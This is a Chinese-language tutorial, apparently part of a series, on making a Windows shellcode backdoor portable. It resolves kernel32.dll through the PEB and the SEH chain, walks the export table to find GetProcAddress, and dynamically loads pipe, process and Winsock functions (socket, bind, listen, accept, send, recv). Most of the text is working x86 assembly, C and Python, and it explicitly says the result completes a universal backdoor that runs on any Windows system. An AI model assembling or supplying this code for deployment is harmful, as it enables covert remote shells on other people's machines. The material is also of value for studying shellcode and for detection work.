在之前的文章中,我們實現了一個正向的匿名管道ShellCode
後門,為了保證文章的簡潔易懂並沒有增加針對呼叫函數的動態定位功能,此類方法在更換系統後則由於地址變化導致我們的後門無法正常使用,接下來將實現通過PEB獲取GetProcAddrees
函數地址,並根據該函數實現所需其他函數的地址自定位功能,通過列舉記憶體匯出表的方式自動實現定位所需函數的動態地址,從而實現後門的通用性。
通過在第4.5章中筆者已經完整的分析並實現了定位kernel32.dll
模組基地址的詳細分析流程,以下將直接利用PEB
查詢kernerl32
地址,讀者可根據自身需求跳轉到相應文章中學習理解,本章只給出實現流程;
TEB+0x30
的地方指向的是PEB結構PEB+0x0C
的地方指向PEB_LDR_DATA
結構PEB_LDR_DATA+0x1C
地方的第二個陣列記憶體出的就是kernel32.dll地址#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
__asm
{
mov eax, fs:0x30 ; PEB的地址
mov eax, [eax + 0x0c] ; Ldr的地址
mov esi, [eax + 0x1c] ; Flink地址
lodsd
mov eax, [eax + 0x08] ; eax就是kernel32.dll的地址
mov Kernel32,eax
}
system("pause");
return 0;
}
執行上述程式則讀者可獲取到kernel32.dll
模組的記憶體地址0x75B20000
,輸出效果圖如下所示;
既然拿到了當前模組的基地址,下一步則是通過該地址尋找到GetProcAddress
的記憶體地址,而GetProcAddress
是在kernel32.dll
模組中的匯出函數,所以我們可通過查詢kernel32.dll
的匯出表來找到GetProcAddress
函數的記憶體地址。
首先匯出表的結構定義如下所示;
Typedef struct _IMAGE_EXPORT_DIRECTORY
{
Characteristics; 4
TimeDateStamp 4 # 時間戳
MajorVersion 2 # 主版本號
MinorVersion 2 # 子版本號
Name 4 # 模組名
Base 4 # 基地址,加上序數就是函數地址陣列的索引值
NumberOfFunctions 4 # EAT匯出表條目數
NumberOfNames 4 # ENT匯出函數名稱表
AddressOfFunctions 4 # 指向函數地址陣列
AddressOfNames 4 # 函數名字的指標地址
AddressOfNameOrdinal 4 # 指向輸出序列號陣列
}
其中的欄位含義:
NumberOfFunctions欄位:為AddressOfFunctions
指向的函數地址陣列的個數;
NumberOfName欄位:為AddressOfNames
指向的函數名稱陣列的個數;
AddressOfFunctions欄位:指向模組中所有函數地址的陣列;
AddressOfNames欄位:指向模組中所有函數名稱的陣列;
AddressOfNameOrdinals欄位:指向AddressOfNames
陣列中函數對應序數的陣列;
當讀者需要在Kernel32.dll
模組內查詢GetProcAddress
的地址時,可以採用如下所示的實現流程;
TEB/PEB
並在其中獲取kernel32.dll
模組基址(基址+0x3c)
處獲取e_lfanewc
此處代表的是PE模組的標誌(基址+e_lfanew+0x78)
處獲取匯出表地址(基址+export+0x1c)
處獲取AddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
AddressOfNames
來確定GetProcAddress
所對應的index
index = AddressOfNameOrdinalse [ index ]
提取到,此時函數地址就儲存在AddressOfFunctions [ index ]
內如上流程所示,我們查詢GetProcAddress
的地址,就在函數名稱陣列中,搜尋GetProcAddress
的名稱;找到後根據編號,在序號陣列中,得到它對應的序號值;最後根據序號值,在地址陣列中,提取出它的地址。其組合程式碼如下,並給出了詳細的解釋。
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
__asm
{
// 得到Kernel32基址
mov eax, fs:0x30 ; PEB的地址
mov eax, [eax + 0x0c] ; Ldr的地址
mov esi, [eax + 0x1c] ; Flink地址
lodsd ;載入字串
mov eax, [eax + 0x08] ; kernel32.dll基址
// 定位到匯出表
mov ebp, eax ; 將基址存入ebp
mov eax, [ebp + 3Ch] ; eax = PE首部
mov edx, [ebp + eax + 78h] ; 匯出表地址
add edx, ebp ; edx = 匯出表地址
mov ecx, [edx + 18h] ; ecx = 輸出函數的個數
mov ebx, [edx + 20h]
add ebx, ebp ; ebx =函數名地址,AddressOfName
search :
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp ; 依次找每個函數名稱
// 列舉尋找GetProcAddress
mov eax, 0x50746547
cmp[esi], eax; 'PteG'
jne search
mov eax, 0x41636f72
cmp[esi + 4], eax; 'Acor'
jne search
// 如果是GetProcAddr則計算匯出地址
mov ebx, [edx + 24h]
add ebx, ebp ; ebx = 序號陣列地址, AddressOf
mov cx, [ebx + ecx * 2] ; ecx = 計算出的序號值
mov ebx, [edx + 1Ch]
add ebx, ebp ; ebx=函數地址的起始位置,AddressOfFunction
mov eax, [ebx + ecx * 4]
add eax, ebp ; 利用序號值,得到出GetProcAddress的地址
}
system("pause");
return 0;
}
讀者需要自行在反組合末尾add eax,ebp
設定一個斷點,然後執行程式,觀察eax
中的資料可知,當前GetProcAddress
的地址為0x75c39570
,輸出效果圖如下所示;
有了上述功能的支援,動態定位的實現將變得格外容易,首先我們通過動態定位的方式確定GetProcAddress
的記憶體地址,該函數接收一個字串引數,則我們通過push
的方式將字串的十六進位制依次壓棧儲存,然後通過call [ebp+76]
呼叫也就是呼叫GetProcAddress
函數來動態得到記憶體地址,當得到地址後預設儲存在EAX暫存器內,此時則通過mov [ebx+]
的方式依次填充至通過sub esp,80
分配的區域性空間內等待被呼叫。
首先實現該功能的前提是我們需要得到特定字串所對應的十六進位制值,並將該值以32位元模式切割,這段程式碼可以使用Python語言非常快捷的實現轉換,如下所示,當讀者執行後則會輸出我們所需函數位符串的十六進位制形式;
import os,sys
# 傳入字串轉為機器碼
def StringToHex(String):
# 將字串轉換成位元組串
byte_str = String.encode()
# 將位元組串轉換成16進位制字串
hex_str = byte_str.hex()
# 將16進位制字串分割成32位元一組,並用0填充不足32位元的部分
hex_list = [hex_str[i:i+8].ljust(8, '0') for i in range(0, len(hex_str), 8)]
# 用空格連線每組32位元的16進位制字串
result = ' '.join(hex_list)
return result
if __name__ == "__main__":
MyList = [
"LoadLibraryA","CreatePipe","CreateProcessA","PeekNamedPipe","WriteFile",
"ReadFile","ExitProcess","WSAStartup","socket","bind","listen","accept",
"send","recv","Ws2_32"
]
for index in range(0,len(MyList)):
print("[*] 函數 = {:18s} | 壓縮資料: {}".format(MyList[index],StringToHex(MyList[index])))
執行上述程式碼片段,讀者可得到函數的十六進位制形式,並以32位元作為切割,不足32位元的則使用0補齊,如下圖所示;
首先我們以CreatePipe
函數為例,該函數位符串壓縮資料為43726561,74655069,70650000
,而由於堆疊的後進先出特性,我們需要將其翻轉過來儲存,翻轉過來則是00006570,69506574,61657243
,又因為當前GetProcAddress
函數的記憶體地址被儲存在了ebp+76
的位置,則通過CALL
該地址則可實現呼叫函數的目的,當執行結束後則將返回值放入到EAX暫存器內,此時只需要根據不同的變數空間mov [ebp+]
來賦值到不同變數內即可;
push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi
call [ebp+76]
mov [ebp+4], eax; CreatePipe
接著我們再來說一下WSAStartup
函數,該函數顯然不在kernel32.dll
模組內,它在Ws2_32.dll
模組內,我們需要先呼叫call [ebp+80]
也就是呼叫LoadLibrary
載入ws2_32.dll
模組獲取該模組的基地址,接著在通過call [ebp+76]
呼叫獲取該模組中WSAStartup
函數的基址,但讀者需要注意的是,call [ebp+76]
時需要壓入兩個引數,其中push edi
帶指的是ws2_32.dll
的字串,而push esp
才是我們的WSAStartup
字串,其描述為高階語言則是GetProcAddress("Ws2_32.dll","WSAStartup")
形式;
push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+80] ;LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax
push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+76]
mov [ebp+28], eax; WSAStartup 0x00007075 0x74726174 0x53415357
根據上述提取原則,讀者可以自行提取程式碼片段並替換特定位置的字串,最終可得到如下所示的一段自定位ShellCode程式碼片段,該片段執行後則可將我們所需要的函數記憶體地址列舉出來並放到臨時變數中,等待我們使用;
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
LoadLibrary("ws2_32.dll");
__asm
{
push ebp;
sub esp, 100;
mov ebp, esp;
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov edi, [eax + 0x08]
mov eax, [edi + 3Ch]
mov edx, [edi + eax + 78h]
add edx, edi
mov ecx, [edx + 18h]
mov ebx, [edx + 20h]
add ebx, edi
search :
dec ecx
mov esi, [ebx + ecx * 4]
add esi, edi
; GetProcAddress
mov eax, 0x50746547
cmp[esi], eax; 'PteG'
jne search
mov eax, 0x41636f72
cmp[esi + 4], eax; 'Acor'
jne search
; 如果是GetProcA表示找到
mov ebx, [edx + 24h]
add ebx, edi
mov cx, [ebx + ecx * 2]
mov ebx, [edx + 1Ch]
add ebx, edi
mov eax, [ebx + ecx * 4]
add eax, edi
; 把GetProcAddress的地址存在ebp + 76中
mov[ebp + 76], eax
push 0x0
push dword ptr 0x41797261
push dword ptr 0x7262694c
push dword ptr 0x64616f4c
push esp
push edi
call[ebp + 76]
; 把LoadLibraryA的地址存在ebp+80中
mov[ebp + 80], eax; LoadLibraryA 0x41797261 0x7262694c 0x64616f4c
push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi
call[ebp + 76]
mov[ebp + 4], eax; CreatePipe 0x00006570 69506574 61657243
push dword ptr 0x00004173
push dword ptr 0x7365636f
push dword ptr 0x72506574
push dword ptr 0x61657243
push esp
push edi
call[ebp + 76]
mov[ebp + 8], eax; CreateProcessA 0x4173 7365636f 72506574 61657243
push dword ptr 0x00000065
push dword ptr 0x70695064
push dword ptr 0x656d614e
push dword ptr 0x6b656550
push esp
push edi
call[ebp + 76]
mov[ebp + 12], eax; PeekNamedPipe 0x00000065 70695064 656d614e 6b656550
push dword ptr 0x00000065
push dword ptr 0x6c694665
push dword ptr 0x74697257
push esp
push edi
call[ebp + 76]
mov[ebp + 16], eax; WriteFile 0x00000065 0x6c694665 0x74697257
push dword ptr 0
push dword ptr 0x656c6946
push dword ptr 0x64616552
push esp
push edi
call[ebp + 76]
mov[ebp + 20], eax; ReadFile
push dword ptr 0x00737365
push dword ptr 0x636f7250
push dword ptr 0x74697845
push esp
push edi
call[ebp + 76]
mov[ebp + 24], eax; ExitProcess 0x00737365 0x636f7250 0x74697845
push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call[ebp + 80]; LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax
push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call[ebp + 76]
mov[ebp + 28], eax; WSAStartup 0x00007075 0x74726174 0x53415357
push dword ptr 0x00007465
push dword ptr 0x6b636f73
push esp
push edi
call[ebp + 76]
mov[ebp + 32], eax; socket 0x00007465 0x6b636f73
push dword ptr 0
push dword ptr 0x646e6962
push esp
push edi
call[ebp + 76]
mov[ebp + 36], eax; bind 0x646e6962
push dword ptr 0x00006e65
push dword ptr 0x7473696c
push esp
push edi
call[ebp + 76]
mov[ebp + 40], eax; listen 0x00006e65 0x7473696c
push dword ptr 0x00007470
push dword ptr 0x65636361
push esp
push edi
call[ebp + 76]
mov[ebp + 44], eax; accept 0x00007470 0x65636361
push 0
push dword ptr 0x646e6573
push esp
push edi
call[ebp + 76]
mov[ebp + 48], eax; send 0x646e6573
push 0
push dword ptr 0x76636572
push esp
push edi
call [ebp + 76]
mov [ebp + 52], eax; recv 0x76636572
}
system("pause");
return 0;
}
讀者可在特定位置下斷定,並切換到組合模式,例如讀者可在system("pause")
上面下斷點,當執行後切換到自動視窗,則可看到EAX=0x76c323a0
的記憶體地址,此地址正是recv
函數的記憶體地址,如下圖所示;
至此我們通過自定位的方式實現了對函數記憶體的列舉,讀者可通過將本案例中的定位程式碼自行拷貝並替換到上一篇文章中,此時我們就實現了一個完整的ShellCode
通用後門程式,該程式可在任意Windows
系統下被正確執行;
SEH (Structured Exception Handling) 例外處理鏈是一種資料結構,用於維護和跟蹤在程式執行時發生的異常的處理程式的呼叫關係。當程式在執行期間發生異常時,SEH 例外處理鏈會按照一定的順序遍歷連結串列中的例外處理程式,直到找到一個能夠處理該異常的程式為止。
在SEH連結串列中存在一個預設例外處理函數UnhandledExceptionFilter
當程式在執行期間遇到未處理的異常時,作業系統會呼叫UnhandledExceptionFilter
函數來捕獲該異常,並且該函數會返回一個特定的值,告訴作業系統如何處理該異常。
UnhandledExceptionFilter 指標是在異常鏈的最後,它的上一個值是指向下一個處理點的地址。因為後面沒有例外處理點了,所以會被表示為0xFFFFFFFF
有了這個原理那麼我們就可以搜尋例外處理連結串列,得到UnhandledExceptionFilter
的記憶體地址,首先我們通過mov esi,fs:0
得到執行緒的TLS
也就是執行緒本地儲存的指標,然後通過迴圈的方式向下遍歷,直到遍歷到指標的最後,此時也就得到了UnhandledExceptionFilter
的地址,如下程式碼片段則可輸出該地址;
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
DWORD address = 0;
__asm
{
mov esi, fs:0;
lodsd;
GetExeceptionFilter:
cmp[eax],0xffffffff
je GetedExeceptionFilter ; 到最後
mov eax, [eax] ; 否則繼續遍歷
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax + 4]
mov address,eax
}
printf("UnhandledExceptionFilter = %x \n", address);
system("pause");
return 0;
}
執行如上組合指令,則可獲取到UnhandledExceptionFilter
的記憶體地址,此處輸出結果如下圖所示;
此時我們已經得到了UnhandledExceptionFilter
函數的記憶體地址,由於該函數是Kernel32.dll
裡面的匯出函數,所以我們就從UnhandledExceptionFilter
函數的地址往上找,找到開頭的地方,自然就是Kerner32
的基地址了。
此外由於Kerner32
模組也是可執行檔案,其開始標誌同樣是MZ
和PE
,而且因為系統分配某個空間時,總要從一個分配粒度的邊界開始,在32位元下,這個粒度是64KB。所以我們搜尋時,可以按照64kb
遞減往低地址搜尋,當到了MZ
和PE
標誌時,也就找到了Kernel32
的基地址。實現程式碼如下:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
DWORD address = 0;
__asm
{
mov esi, fs:0;
lodsd;
GetExeceptionFilter:
cmp[eax],0xffffffff
je GetedExeceptionFilter ; 到最後
mov eax, [eax] ; 否則繼續遍歷
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax + 4]
FindMZ :
and eax, 0xffff0000 ; 64k對齊特徵
cmp word ptr[eax], 'ZM' ; 判斷是不是MZ格式
jne MoveUp
mov ecx, [eax + 0x3c]
add ecx, eax
cmp word ptr[ecx], 'EP' ; 判斷是不是PE
je Found ; 找到了
MoveUp :
dec eax ; 指向下一個界起始地址
jmp FindMZ
Found :
mov address, eax
nop
}
printf("Kernel32 = %x \n", address);
system("pause");
return 0;
}
編譯並執行上述組合程式碼,則可以輸出kernel32.dll
模組的基地址,輸出效果如下所示;